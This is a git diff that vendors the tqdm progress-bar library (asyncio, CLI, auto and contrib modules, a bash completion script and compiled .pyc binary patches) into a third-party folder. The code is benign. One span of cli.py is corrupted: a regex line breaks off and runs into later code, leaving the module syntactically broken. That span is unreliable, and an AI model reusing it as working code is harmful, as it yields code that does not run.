b/thirdparty/tqdm/_tqdm_pandas.py new file mode 100644 index 0000000..c4fe6ef --- /dev/null +++ b/thirdparty/tqdm/_tqdm_pandas.py @@ -0,0 +1,24 @@ +import sys + +__author__ = "github.com/casperdcl" +__all__ = ['tqdm_pandas'] + + +def tqdm_pandas(tclass, **tqdm_kwargs): + """ + Registers the given `tqdm` instance with + `pandas.core.groupby.DataFrameGroupBy.progress_apply`. + """ + from tqdm import TqdmDeprecationWarning + + if isinstance(tclass, type) or (getattr(tclass, '__name__', '').startswith( + 'tqdm_')): # delayed adapter case + TqdmDeprecationWarning( + "Please use `tqdm.pandas(...)` instead of `tqdm_pandas(tqdm, ...)`.", + fp_write=getattr(tqdm_kwargs.get('file', None), 'write', sys.stderr.write)) + tclass.pandas(**tqdm_kwargs) + else: + TqdmDeprecationWarning( + "Please use `tqdm.pandas(...)` instead of `tqdm_pandas(tqdm(...))`.", + fp_write=getattr(tclass.fp, 'write', sys.stderr.write)) + type(tclass).pandas(deprecated_t=tclass) diff --git a/thirdparty/tqdm/_utils.py b/thirdparty/tqdm/_utils.py new file mode 100644 index 0000000..2cf1090 --- /dev/null +++ b/thirdparty/tqdm/_utils.py @@ -0,0 +1,12 @@ +from warnings import warn + +from .std import TqdmDeprecationWarning +from .utils import ( # NOQA, pylint: disable=unused-import + CUR_OS, IS_NIX, IS_WIN, RE_ANSI, Comparable, FormatReplace, SimpleTextIOWrapper, _basestring, + _environ_cols_wrapper, _is_ascii, _is_utf, _range, _screen_shape_linux, _screen_shape_tput, + _screen_shape_windows, _screen_shape_wrapper, _supports_unicode, _term_move_up, _unich, + _unicode, colorama) + +warn("This function will be removed in tqdm==5.0.0\n" + "Please use `tqdm.utils.*` instead of `tqdm._utils.*`", + TqdmDeprecationWarning, stacklevel=2) diff --git a/thirdparty/tqdm/asyncio.py b/thirdparty/tqdm/asyncio.py new file mode 100644 index 0000000..97c5f88 --- /dev/null +++ b/thirdparty/tqdm/asyncio.py @@ -0,0 +1,93 @@ +""" +Asynchronous progressbar decorator for iterators. +Includes a default `range` iterator printing to `stderr`. + +Usage: +>>> from tqdm.asyncio import trange, tqdm +>>> async for i in trange(10): +... ... +""" +import asyncio +from sys import version_info + +from .std import tqdm as std_tqdm + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['tqdm_asyncio', 'tarange', 'tqdm', 'trange'] + + +class tqdm_asyncio(std_tqdm): + """ + Asynchronous-friendly version of tqdm (Python 3.6+). + """ + def __init__(self, iterable=None, *args, **kwargs): + super(tqdm_asyncio, self).__init__(iterable, *args, **kwargs) + self.iterable_awaitable = False + if iterable is not None: + if hasattr(iterable, "__anext__"): + self.iterable_next = iterable.__anext__ + self.iterable_awaitable = True + elif hasattr(iterable, "__next__"): + self.iterable_next = iterable.__next__ + else: + self.iterable_iterator = iter(iterable) + self.iterable_next = self.iterable_iterator.__next__ + + def __aiter__(self): + return self + + async def __anext__(self): + try: + if self.iterable_awaitable: + res = await self.iterable_next() + else: + res = self.iterable_next() + self.update() + return res + except StopIteration: + self.close() + raise StopAsyncIteration + except BaseException: + self.close() + raise + + def send(self, *args, **kwargs): + return self.iterable.send(*args, **kwargs) + + @classmethod + def as_completed(cls, fs, *, loop=None, timeout=None, total=None, **tqdm_kwargs): + """ + Wrapper for `asyncio.as_completed`. + """ + if total is None: + total = len(fs) + kwargs = {} + if version_info[:2] < (3, 10): + kwargs['loop'] = loop + yield from cls(asyncio.as_completed(fs, timeout=timeout, **kwargs), + total=total, **tqdm_kwargs) + + @classmethod + async def gather(cls, *fs, loop=None, timeout=None, total=None, **tqdm_kwargs): + """ + Wrapper for `asyncio.gather`. + """ + async def wrap_awaitable(i, f): + return i, await f + + ifs = [wrap_awaitable(i, f) for i, f in enumerate(fs)] + res = [await f for f in cls.as_completed(ifs, loop=loop, timeout=timeout, + total=total, **tqdm_kwargs)] + return [i for _, i in sorted(res)] + + +def tarange(*args, **kwargs): + """ + A shortcut for `tqdm.asyncio.tqdm(range(*args), **kwargs)`. + """ + return tqdm_asyncio(range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_asyncio +trange = tarange diff --git a/thirdparty/tqdm/auto.py b/thirdparty/tqdm/auto.py new file mode 100644 index 0000000..cffca20 --- /dev/null +++ b/thirdparty/tqdm/auto.py @@ -0,0 +1,44 @@ +""" +Enables multiple commonly used features. + +Method resolution order: + +- `tqdm.autonotebook` without import warnings +- `tqdm.asyncio` on Python3.6+ +- `tqdm.std` base class + +Usage: +>>> from tqdm.auto import trange, tqdm +>>> for i in trange(10): +... ... +""" +import sys +import warnings + +from .std import TqdmExperimentalWarning + +with warnings.catch_warnings(): + warnings.simplefilter("ignore", category=TqdmExperimentalWarning) + from .autonotebook import tqdm as notebook_tqdm + from .autonotebook import trange as notebook_trange + +if sys.version_info[:2] < (3, 6): + tqdm = notebook_tqdm + trange = notebook_trange +else: # Python3.6+ + from .asyncio import tqdm as asyncio_tqdm + from .std import tqdm as std_tqdm + + if notebook_tqdm != std_tqdm: + class tqdm(notebook_tqdm, asyncio_tqdm): # pylint: disable=inconsistent-mro + pass + else: + tqdm = asyncio_tqdm + + def trange(*args, **kwargs): + """ + A shortcut for `tqdm.auto.tqdm(range(*args), **kwargs)`. + """ + return tqdm(range(*args), **kwargs) + +__all__ = ["tqdm", "trange"] diff --git a/thirdparty/tqdm/autonotebook.py b/thirdparty/tqdm/autonotebook.py new file mode 100644 index 0000000..b032061 --- /dev/null +++ b/thirdparty/tqdm/autonotebook.py @@ -0,0 +1,28 @@ +""" +Automatically choose between `tqdm.notebook` and `tqdm.std`. + +Usage: +>>> from tqdm.autonotebook import trange, tqdm +>>> for i in trange(10): +... ... +""" +import os +import sys + +try: + get_ipython = sys.modules['IPython'].get_ipython + if 'IPKernelApp' not in get_ipython().config: # pragma: no cover + raise ImportError("console") + if 'VSCODE_PID' in os.environ: # pragma: no cover + raise ImportError("vscode") +except Exception: + from .std import tqdm, trange +else: # pragma: no cover + from warnings import warn + + from .notebook import tqdm, trange + from .std import TqdmExperimentalWarning + warn("Using `tqdm.autonotebook.tqdm` in notebook mode." + " Use `tqdm.tqdm` instead to force console mode" + " (e.g. in jupyter console)", TqdmExperimentalWarning, stacklevel=2) +__all__ = ["tqdm", "trange"] diff --git a/thirdparty/tqdm/cli.py b/thirdparty/tqdm/cli.py new file mode 100644 index 0000000..b5a1614 --- /dev/null +++ b/thirdparty/tqdm/cli.py @@ -0,0 +1,308 @@ +""" +Module version for monitoring CLI pipes (`... | python -m tqdm | ...`). +""" +import logging +import re +import sys +from ast import literal_eval as numeric + +from .std import TqdmKeyError, TqdmTypeError, tqdm +from .version import __version__ + +__all__ = ["main"] +log = logging.getLogger(__name__) + + +def cast(val, typ): + log.debug((val, typ)) + if " or " in typ: + for t in typ.split(" or "): + try: + return cast(val, t) + except TqdmTypeError: + pass + raise TqdmTypeError(val + ' : ' + typ) + + # sys.stderr.write('\ndebug | `val:type`: `' + val + ':' + typ + '`.\n') + if typ == 'bool': + if (val == 'True') or (val == ''): + return True + elif val == 'False': + return False + else: + raise TqdmTypeError(val + ' : ' + typ) + try: + return eval(typ + '("' + val + '")') + except Exception: + if typ == 'chr': + return chr(ord(eval('"' + val + '"'))).encode() + else: + raise TqdmTypeError(val + ' : ' + typ) + + +def posix_pipe(fin, fout, delim=b'\\n', buf_size=256, + callback=lambda float: None, callback_len=True): + """ + Params + ------ + fin : binary file with `read(buf_size : int)` method + fout : binary file with `write` (and optionally `flush`) methods. + callback : function(float), e.g.: `tqdm.update` + callback_len : If (default: True) do `callback(len(buffer))`. + Otherwise, do `callback(data) for data in buffer.split(delim)`. + """ + fp_write = fout.write + + if not delim: + while True: + tmp = fin.read(buf_size) + + # flush at EOF + if not tmp: + getattr(fout, 'flush', lambda: None)() + return + + fp_write(tmp) + callback(len(tmp)) + # return + + buf = b'' + # n = 0 + while True: + tmp = fin.read(buf_size) + + # flush at EOF + if not tmp: + if buf: + fp_write(buf) + if callback_len: + # n += 1 + buf.count(delim) + callback(1 + buf.count(delim)) + else: + for i in buf.split(delim): + callback(i) + getattr(fout, 'flush', lambda: None)() + return # n + + while True: + try: + i = tmp.index(delim) + except ValueError: + buf += tmp + break + else: + fp_write(buf + tmp[:i + len(delim)]) + # n += 1 + callback(1 if callback_len else (buf + tmp[:i])) + buf = b'' + tmp = tmp[i + len(delim):] + + +# ((opt, type), ... ) +RE_OPTS = re.compile(r'\n {8}(\S+)\s{2,}:\s*([^,]+)') +# better split method assuming no positional args +RE_SHLEX = re.compile(r'\s*(? : \2', d) + split = RE_OPTS.split(d) + opt_types_desc = zip(split[1::3], split[2::3], split[3::3]) + d = ''.join(('\n --{0} : {2}{3}' if otd[1] == 'bool' else + '\n --{0}=<{1}> : {2}{3}').format( + otd[0].replace('_', '-'), otd[0], *otd[1:]) + for otd in opt_types_desc if otd[0] not in UNSUPPORTED_OPTS) + + d = """Usage: + tqdm [--help | options] + +Options: + -h, --help Print this help and exit. + -v, --version Print version and exit. +""" + d.strip('\n') + '\n' + + # opts = docopt(d, version=__version__) + if any(v in argv for v in ('-v', '--version')): + sys.stdout.write(__version__ + '\n') + sys.exit(0) + elif any(v in argv for v in ('-h', '--help')): + sys.stdout.write(d + '\n') + sys.exit(0) + + argv = RE_SHLEX.split(' '.join(["tqdm"] + argv)) + opts = dict(zip(argv[1::3], argv[3::3])) + + log.debug(opts) + opts.pop('log', True) + + tqdm_args = {'file': fp} + try: + for (o, v) in opts.items(): + o = o.replace('-', '_') + try: + tqdm_args[o] = cast(v, opt_types[o]) + except KeyError as e: + raise TqdmKeyError(str(e)) + log.debug('args:' + str(tqdm_args)) + + delim_per_char = tqdm_args.pop('bytes', False) + update = tqdm_args.pop('update', False) + update_to = tqdm_args.pop('update_to', False) + if sum((delim_per_char, update, update_to)) > 1: + raise TqdmKeyError("Can only have one of --bytes --update --update_to") + except Exception: + fp.write('\nError:\nUsage:\n tqdm [--help | options]\n') + for i in sys.stdin: + sys.stdout.write(i) + raise + else: + buf_size = tqdm_args.pop('buf_size', 256) + delim = tqdm_args.pop('delim', b'\\n') + tee = tqdm_args.pop('tee', False) + manpath = tqdm_args.pop('manpath', None) + comppath = tqdm_args.pop('comppath', None) + if tqdm_args.pop('null', False): + class stdout(object): + @staticmethod + def write(_): + pass + else: + stdout = sys.stdout + stdout = getattr(stdout, 'buffer', stdout) + stdin = getattr(sys.stdin, 'buffer', sys.stdin) + if manpath or comppath: + from os import path + from shutil import copyfile + + from pkg_resources import Requirement, resource_filename + + def cp(src, dst): + """copies from src path to dst""" + copyfile(src, dst) + log.info("written:" + dst) + if manpath is not None: + cp(resource_filename(Requirement.parse('tqdm'), 'tqdm/tqdm.1'), + path.join(manpath, 'tqdm.1')) + if comppath is not None: + cp(resource_filename(Requirement.parse('tqdm'), 'tqdm/completion.sh'), + path.join(comppath, 'tqdm_completion.sh')) + sys.exit(0) + if tee: + stdout_write = stdout.write + fp_write = getattr(fp, 'buffer', fp).write + + class stdout(object): # pylint: disable=function-redefined + @staticmethod + def write(x): + with tqdm.external_write_mode(file=fp): + fp_write(x) + stdout_write(x) + if delim_per_char: + tqdm_args.setdefault('unit', 'B') + tqdm_args.setdefault('unit_scale', True) + tqdm_args.setdefault('unit_divisor', 1024) + log.debug(tqdm_args) + with tqdm(**tqdm_args) as t: + posix_pipe(stdin, stdout, '', buf_size, t.update) + elif delim == b'\\n': + log.debug(tqdm_args) + if update or update_to: + with tqdm(**tqdm_args) as t: + if update: + def callback(i): + t.update(numeric(i.decode())) + else: # update_to + def callback(i): + t.update(numeric(i.decode()) - t.n) + for i in stdin: + stdout.write(i) + callback(i) + else: + for i in tqdm(stdin, **tqdm_args): + stdout.write(i) + else: + log.debug(tqdm_args) + with tqdm(**tqdm_args) as t: + callback_len = False + if update: + def callback(i): + t.update(numeric(i.decode())) + elif update_to: + def callback(i): + t.update(numeric(i.decode()) - t.n) + else: + callback = t.update + callback_len = True + posix_pipe(stdin, stdout, delim, buf_size, callback, callback_len) diff --git a/thirdparty/tqdm/completion.sh b/thirdparty/tqdm/completion.sh new file mode 100644 index 0000000..9f61c7f --- /dev/null +++ b/thirdparty/tqdm/completion.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +_tqdm(){ + local cur prv + cur="${COMP_WORDS[COMP_CWORD]}" + prv="${COMP_WORDS[COMP_CWORD - 1]}" + + case ${prv} in + --bar_format|--buf_size|--colour|--comppath|--delay|--delim|--desc|--initial|--lock_args|--manpath|--maxinterval|--mininterval|--miniters|--ncols|--nrows|--position|--postfix|--smoothing|--total|--unit|--unit_divisor) + # await user input + ;; + "--log") + COMPREPLY=($(compgen -W 'CRITICAL FATAL ERROR WARN WARNING INFO DEBUG NOTSET' -- ${cur})) + ;; + *) + COMPREPLY=($(compgen -W '--ascii --bar_format --buf_size --bytes --colour --comppath --delay --delim --desc --disable --dynamic_ncols --help --initial --leave --lock_args --log --manpath --maxinterval --mininterval --miniters --ncols --nrows --null --position --postfix --smoothing --tee --total --unit --unit_divisor --unit_scale --update --update_to --version --write_bytes -h -v' -- ${cur})) + ;; + esac +} +complete -F _tqdm tqdm diff --git a/thirdparty/tqdm/contrib/__init__.py b/thirdparty/tqdm/contrib/__init__.py new file mode 100644 index 0000000..0b52177 --- /dev/null +++ b/thirdparty/tqdm/contrib/__init__.py @@ -0,0 +1,98 @@ +""" +Thin wrappers around common functions. + +Subpackages contain potentially unstable extensions. +""" +import sys +from functools import wraps + +from ..auto import tqdm as tqdm_auto +from ..std import tqdm +from ..utils import ObjectWrapper + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['tenumerate', 'tzip', 'tmap'] + + +class DummyTqdmFile(ObjectWrapper): + """Dummy file-like that will write to tqdm""" + + def __init__(self, wrapped): + super(DummyTqdmFile, self).__init__(wrapped) + self._buf = [] + + def write(self, x, nolock=False): + nl = b"\n" if isinstance(x, bytes) else "\n" + pre, sep, post = x.rpartition(nl) + if sep: + blank = type(nl)() + tqdm.write(blank.join(self._buf + [pre, sep]), + end=blank, file=self._wrapped, nolock=nolock) + self._buf = [post] + else: + self._buf.append(x) + + def __del__(self): + if self._buf: + blank = type(self._buf[0])() + try: + tqdm.write(blank.join(self._buf), end=blank, file=self._wrapped) + except (OSError, ValueError): + pass + + +def builtin_iterable(func): + """Wraps `func()` output in a `list()` in py2""" + if sys.version_info[:1] < (3,): + @wraps(func) + def inner(*args, **kwargs): + return list(func(*args, **kwargs)) + return inner + return func + + +def tenumerate(iterable, start=0, total=None, tqdm_class=tqdm_auto, **tqdm_kwargs): + """ + Equivalent of `numpy.ndenumerate` or builtin `enumerate`. + + Parameters + ---------- + tqdm_class : [default: tqdm.auto.tqdm]. + """ + try: + import numpy as np + except ImportError: + pass + else: + if isinstance(iterable, np.ndarray): + return tqdm_class(np.ndenumerate(iterable), total=total or iterable.size, + **tqdm_kwargs) + return enumerate(tqdm_class(iterable, total=total, **tqdm_kwargs), start) + + +@builtin_iterable +def tzip(iter1, *iter2plus, **tqdm_kwargs): + """ + Equivalent of builtin `zip`. + + Parameters + ---------- + tqdm_class : [default: tqdm.auto.tqdm]. + """ + kwargs = tqdm_kwargs.copy() + tqdm_class = kwargs.pop("tqdm_class", tqdm_auto) + for i in zip(tqdm_class(iter1, **kwargs), *iter2plus): + yield i + + +@builtin_iterable +def tmap(function, *sequences, **tqdm_kwargs): + """ + Equivalent of builtin `map`. + + Parameters + ---------- + tqdm_class : [default: tqdm.auto.tqdm]. + """ + for i in tzip(*sequences, **tqdm_kwargs): + yield function(*i) diff --git a/thirdparty/tqdm/contrib/__pycache__/__init__.cpython-38.pyc b/thirdparty/tqdm/contrib/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..799054901ba2752fa3ae0d93e4385132e2697a88 GIT binary patch literal 3106 zcmcIm&2QYs6`vV?>@Kyd$ad=3Y3mRu&~}YzgSsC^j37u5+dl!<8s; zNor;oXBSj2QjuKZqCkP(3hC&7iPxTd?yZ;h_qbX`a)I75iRc=~I`5(CzoC&VV3JFb@qpvs%EZ(PEY74Yoy?v(fqN!*AUmz>X5DEo z=t1tt?ha3R;K`o!iG{iiA_%S35EQbm&kxwv~lRa+5|`HuI}on`k>r{NyVP>cy@Xcsbh`^2VVX^b3J5dbT-` zQ~VD;+1^WH^V#C|`N~decB}0XZhtH2#gT?eGR_(g2UgQWMJB=4d0L{KMrBNgUo6&H zN8f>vFaXU0A$eeZ%_e|FTF2eM2851u0gXej0y6h&X0xCJIJ{3^b4P!64Seug=Er%s(u}fVTRZ2NSuh8pK{K2Sj|F9 zvQ74!Zw&3m(G?!5dRW?Y!!XTL6NZf)Zda3`Xl$KilcuwY$u|KhmSYq&SG8Y{_VW0UO~H!rdx-iLv`RHx*qd7L!P z_RJ)@@l+WplaimquVyd>y_!507H;glBF)u+M!Mmd5gM1GC6~jlTBQm8mAXOyBF`GD zR7qp$1U_08+TfBb%Jfl-ZPC}!Fn$#f+uY;VxqvT<|G2^v^J|wOZ`FzE zeak|QMo!bh{d))igsBa3wmopoO~gDv=E!bjRQ`accl0h?DHARZ`jPZrZW-y zp8A+G`u&0B;t3cFkXjpxt{e(QnyS}G?zV8KAJG6o)xJjEBIyk@P3M!%2TB#H@ji{R zDrsdLKv1clQga!MrW1xT$-?j_nA7BXjJp6t@LK?8{)5XfoUI-5hr=#KOCC)VM2i=O z(?V7m$^9@qsG{s_hE6ZyFl?QAq3RGMc5~Wj8T@W4lT-ljb4fLJ`%E-a%AF znSOWFuBDjMGu`yR1Ro)qz+{s`(Pmix*Z5Pvp{BL|uSg=0o3)oueG{X)&8*@o9AQ=1 zT)mC4m>#z*L^EWS-=gYWH1j?op0Ps*KK&|un!}&{bAKK^VMYK9XU_s1ZPZrnP&}M+ zBnGP%<$a2Yl-Ks(#WR3qT&$p^fw|>q4I(3wng7M}Q63yr>6cN4{O1=Fe+vn!oQ-mM zo~d9(<)6LH-}-JCsg$<=E>iGZ0IA#V`gv))#LNqp_x*eRA7wI$s?6MLlg%iqOfjMr zpO4zbZG>(#jwwu(4LgC;>e8%yG%X8d+VE310a4J&Wu#Oz3sx@Zi3F3*lcsmB;m~cm zOA8}68IYs8hwVti=UO!@t-Np^@LqW#e%jC>`;fIYS(|kQ@AFmeiax)=iQX>753MEJ z7O0wTs>KOAWk?p*3F63zQ*me`Nx)tcUR%##vzq@yJY)CS=iZ@HJD-BH4sN$!G}c_T zm|V8bxf$^7u=PC{;5{f!ncR+xa)uO8lufS%h)mU3xOM0T4uSfMphtgq%B<4reQZ;| zq=pV?c=|Gm9Snbj+7b}!b%EmR{1SFc-f6KT3Z|4>!-s**DiCDAi?#T85`H}t{~sTG zRecZm-~&+6Q-Dx+`AOOIbaGH7$irtie24`vzn>!f3F_iIq_@h4SJXPKyNjmjwPzJY zrdyH$qXF$jMtXqxz|uxGPGwRoaA*UP1eWX;3P}QK0iUfPej@pnUljRatEZxSFX+-T nR!dghcNSUZT_Ryk8PIlM75FuN!sDK`_QS5Xc1>_^Rq+1;0K)Z6 literal 0 HcmV?d00001 diff --git a/thirdparty/tqdm/contrib/__pycache__/bells.cpython-38.pyc b/thirdparty/tqdm/contrib/__pycache__/bells.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..eb11d05fb108386fea470db89d838950c7dbf9b1 GIT binary patch literal 926 zcmZuvPfrs;6rUNE?Xt8LG3v#{Js4wS+JlK95@SSKm53!k31+j&cGwxVi?e^2+0rxy zFP@F@8-O>z(q24x>R0gOn^K?zUNZCk|K`nmZ>LhR5zx=CJM<4h=&x3$X%3XvaMUlj z7;+KAjD*C+Y=#+vxCHpDn28P7z=#{n{D$Ql;3dtO#pc9pY`SJ#a!VK`&%k4YhXJ40 zd>mm-MJ%u~aXJEIAss(WD!(j=GBUL)s%hmyu!+W~s&^cB3?ee|WX+5G5tTI;QMTPq-Jd}y_g zyAFU{cdou)>G*5S(}r7 z-s?M^j!W?T;^%k#*B1%-vu?~jEi}H5FaH|~LHa~c!6F*7KBKyBMOJM0ZPaa1i)wMb z-!S!hlaieUa5W+~ZuMJ~+$G7YHVN8eSFTf{UvW-2qWOsSTc47IeNyqeQ74}3 z&l&#rr~H4c_|1H7G=JFtm1+O)r}MQ$`w{8SRkKwkB%iffvSEDiug`7@&eJ75j<55y*X3 zaoXy>h|%4;jsIO=CSkInn^BN#s7((`tD$B+cy!&t_W{0q1;vi5NI~}KU2==qL{TXD ze5I6v*2$-!eu5*zR@lz!M*##)az4Q9E1~KRR{6+}A}q<*{o$Caln+EO@+XlR+~~5> z0$>*M5*?KlGKqc0C>X(c0}G z&epOpyD&*ItPqF`4>yA#y71m+_}=~Xno8*!g6I=VwI^D@5NsG6Ggjh)s;s5U3- zy&0ISfDyqtaEIGVp~L`&rq_WI7D;+%(9sqtZ+2PYameM4=B#d(xh@%Lrm%~8NOxV;xaWwr=zNA% zc3VYD%#CaEmxX(;S=8>iMRP>O{9{03NOs#|p=jB}B4Z-|AWn@*{-*>zMH{>gvG`aY zC>fE$eL_F~_HIYDuwLh0yPzZN;#aI_KhZV&2_We%VdP!%6Y>%HHK6mTe#_840j=tV zU$oJBzlNb*&fCOjSC%nwaaf}KcY?>DiAJaTK zbIvdGpH7|sGS~E;KT&B<*M8PB%(1`aJxt|TBjqvfI80XFeruHR+d{ zhv^i`N-ImVvT4+*)mB>2i9s4;`=ym{=Vki=G>5bE!eo?|^+_h+*zyeKD(xuD6$bfP zcdp;QnWoXTtzd|WWXVQ==@5+mdKBbk%d9bes3k1x)!%4DzM_TIl9`S6Su_TKVJ2_N z+=2|=RD`~Rr93kS3$~tj>W&voSJ%jQ5mV;cw@J%^J1@YoUo!4JhZa7zNNu`oDDo|E z4YlGA9<6PyYUAjyqM|V}A~D^yC{aK|I1Vc)oP<5mfz0y1I57BY_b1^4A5lsfW7is5 zfjBFpWR<^hsE}@VV2o49@B#2}efy;7-Mei(Wmd2Mjen$>c0E5b3u>PE2 z=)!dAbfYpv6SZ|5F-D^;h|IO=F|(?JrhUMAwcV`&xoZNEW0|OiKKZU5)=dn5HOSL^$zm6mG0mGfM$F+GkMuGh90==(g}i@xDoyZNR9N{MsP`X zKKpPQb9i-K;a?N{D!+8`;zhnbQ9#*)s6OCf&XZI@VXDV*p~`veZ=)r{bdpEgTm&1^ z7XgoP^$4eGDl`vZ=ofJy+(OK=bg$xnbQFEIs zS(=;lqnw}BI&>kwZdUO;OuLy%hyYn|PsI8K8hoYR-%Ms;c5iZi=SrN4Nfcbw md&+w#Y^%-i(l#z~3&;r;>eat0Pcw(P)Ugw zXNHzVQ+bFD~Z+6zV z@cj9+d(mI#E$i=8c>1ZL@H@QfZ%DWmSls4LVt1Xuu_^B+Zs6kUC0@4_lx%CTh*Bvj zcPl}qTMeqV^^uic_AF65^5tFIqMxYo@?-mR`;S)Yd~ERwuO@zXCa7b?3a=%z-ML^6 zd7sZD^WBAD0r@(g?bxv$JjdtwJYV3?@e7?&aN#|RKhNi$SbR<_Ja&WUQC{TpD9?*J z%8UFWUwC2#7sX;QBQ6F@+}*JnOM`#-J0j(Z^?N+hLNT4Oh;78Gok`C2GTrq3dn)RP zHUGwq8*E=@U8e8zZnK@GTE=@#KI$5GdzsXxZJB8qr5#cHBa`$ zA|tH820|Tf2ksZvK5)w2C)L2?9xnj{r7tYc3d%VDvYbKpL31lhSN4*ueH5o1wjU>A zC5ev&+uUY-MO9NsybDOQ$CJ^VWxV7#RHq&y(U!J{)???)IS0VC``9{lhxX77JzW~Q zkL^=$XdRXhD?=-+4wi=AVeQNxI;g9jBMoQZB(HmxuER;BZJm-MUC^^mp&fxWRDGZ7umWpH66^fv1(03qMCw?GO)|z6g)!b?<Xk-aft;tsL!G-(FAiQ9jjO`Zv?>Hl zv6{Rxs>o}%9=1hK$61=!%n?U@o#mxt3Ae~yrDda>drBnx@;RE(pRP17!`}cyd<$^e z;wxKTK(DW?Z+6z#cJC=6)oyZlvU{`F+lX|u`$5)@lHI$a+uH?XSNdr$Y99%{a(o~} zvhvnJ{MP-w^zB_*$L`3PcPHL*A{Q|BPw^_6#B%2BGJaLtw;g-QUa$ujCU9+zZPq3y z7(Zk)g2g&s^*NHEt*SUQduX3ogvWE|%s#iMjH7ps9Qi8ucF+qDa0Zu$)|rcX@36#6 zL;I4&OP8#3=hPX2qYQ971UOs+j>=h8*9ck@aCoQgXRZN9`D1J7>{v8*qdZvtQ1p_h z4W5frP*EBstTj5F))kN+PLmzOKUqt)ngbVn^Nl^5TU+1Qt%jdhWbto62He+^i`Z6B zR{gzhtmP6FJi(E@gsgmlk{2oY5t4={e~eFVtGvA5*L^7@Sy#S1Nq$B->i-&EMWb1c zXM3=YUapi zM`&(~BtgS;8H~D^wGcDBgjbP=SFwhAy^Y*6&zK0*uTlL&tYa96n5Rn212!u23i4&c zLKU1#Ro3zM=qJFBPc*-yqm)O`pBACBNnT>Oy~XzWnnj7qnEGMSB8D=<+>TC|jzD7( z+Xovc0hmMSpm2p_va78zbXyGw3r)Q;Zi@H~aeF=d7J^VMbxB1IpIREK8FUv(^b0foi(3Qs4m9V6Os(58(VPhH{edjy!&C zG|Kg{x{VyOchUr}6rH=drV3#}v?eE=H8T>D8D5$27;MagtYjNL}hZof;uGTq4= z%{MG!lD*_F-m-QqeICpuRR}x_Z>H)V29{l?I9V* zZ->r4wgDzFAnWFKu#K;xVT=8LiBN#>1w7b;Cx(Y^GFA7tq-UR!1@)3?Q9 z+;WxR;6x~0#EFbr#W>Uc6zWhoYT%e%-0sb;q$6 Xi9?(^0AF`}d(K_>$-*zIHP8MJQuJ~N literal 0 HcmV?d00001 diff --git a/thirdparty/tqdm/contrib/__pycache__/itertools.cpython-38.pyc b/thirdparty/tqdm/contrib/__pycache__/itertools.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..33dec07b397a1e86a75d930797e32bc276a4f6fe GIT binary patch literal 958 zcmYjPJ#W-77`B~{%jK>`bfE)6k?3+mj|rhx2!UuN22}CUqYzT1zBuirbZZ1R+KfVs=0|%ks7TgX3;5oF)CWd0f zFe4n7BqrGQ9qz;qbD788(u;i<^I2;T7dURQU=POuYqQ`RirdV2k9y(B!*Fv{jH5$E zrOZ_oQ6=gzi*^c~D=h@CcKYEZY=wH*+@Zrt@LK0-QA(lo#-*(WCR{yXpZ-G|Kw;3Jw|WQI|Ql(T=Gti!U$r0QWsw+ z&&N6vySFUrUmp;xn(^LHMavuvtY&ceCT7rjm1dk)RTQm8pIN?3Ypz!#JKm?Y7Jb{> z?$5|3{7>Jw#Ndya}JT{IL(zItRyV$tAsI+lPDvblBn)c?g%-59?%7j&} zueUSpn+sN+RrPDhsLp%A)eIf-yox(B*@Hu>_A29F{gn^&*ahiI*-JFIFj)UW>K=eU zgO{txpn{VpeE&FkA>|s?G{VWHKDDBzCtX z6JxE4VRBPnUmnj&oCp2tJ|q+bxQhv1!1FjHE)H-AxC_X~z0kDMl!+`&O_-*;wXRj3 zrpi84br+IxtxL+axMMM}U}Pi|tbnDIbD&#GW(T^J7A-q?TEbiAIXpk8rVGh+x+EZ7 I5@O%^3nK*q2><{9 literal 0 HcmV?d00001 diff --git a/thirdparty/tqdm/contrib/__pycache__/logging.cpython-38.pyc b/thirdparty/tqdm/contrib/__pycache__/logging.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a10528eecb032fb32ed86f95cef8ce0de33db76c GIT binary patch literal 3845 zcmaJ^OOq7G5w5E4>FJ%FeXt;;un9*8#%2aDV>v=HA%Z1r0g|u@u)QGR_7J_jQ#CWa z+pn#v0cK;?2eT16$qHS4f+H9GpuYN~AK;4*;LPgoeX&+gbamD%D>Eze%bZ6G3oQcA zcYl8r+DnA|8#_lI7dpR#SA7o+CqChnvzR8#XB25GwtUNcZQq8k9XArkcPQDt0KG=s zOkCeh=KQ&&<+qY~f1Z-BNP5mDqP^XceM<26SCX>Fggd+$FC>fp5+$D#?((^P!smpw zwfw^J&+rzX-zWYGZ}SECo)r$a#L|%QMZUC8Ur_%Xj4bmr`vmCsxV28YE4!bzz7TOP zq&J+T107{)7)N^Q4KwLQsTMMWxo|TwgU=#8_LSyvwCQcc*=Q7{qm5qc2hf{zX|WV; zsw|#p5kyIzNqry276%z{d9IT%4M#$D?ZUkaTtl77!oC+NUAPbO^4P+DIL*ZmtYl{E z9i9x3^U=qyI;sPNAU*|qGhq$s*JMb+nrwd#Y;18G^lyAkY~nkhWurJ7JOp<4N|C<^ zQyvRBz?13+X{&nG2S8||>5RN!FWDa(#B@zrbN=-SR^`bi(p=%ZC-wArsNp_fnP0vvP}US(`#FVfu$ zrzqX4g*~P{YCZ?=E!^LSX16mVFG1^9bdSx*7Tsbq{DK>Q15OQdHd+PTv}Y6D(9V#7 ztA1L#>Oas~&zCf;Y$BHf2L=mv89IhNjAGGs3kN(c3AM3P(Rd~!Eec0zDZ->^4C9F! z7iaz`rkhzP`CW8KImva=TAwN{k~_~MUCfWoecq8WlU++fh?2sQVvtE*Scw|R6&NWS zv`=A+B+@?tN-aY}D5EX9Lfh~<@Z0_1G^^p3ZWFIM4HJP^9Rx|nCo$6PAlR9NaW&&Y zfCP9+=0@bt@W_Sg_6H)4gW!ljD1k(&j4Pp_%7MnU*qgaO*ALQoSLU9Ovxd9S za62zpb^-54+glBIoiW=6$CvZ41jKGdDoT|O(}5_OmCF&D1cFv#~|X<@0ULhJKv zqRkh~4R_TnEi8`+ZY=rJAW{LiB1F9iD!xIr_7}j<=t97>%Wvhcpnpu4I^qs=nUUM% z$+D^Tmo-Gii0%>2xU~#`ct{_3QG;EOphTu)QfAgdmYgm^>En3KvrFEl7_<}93gnGWj6jPln^Tr 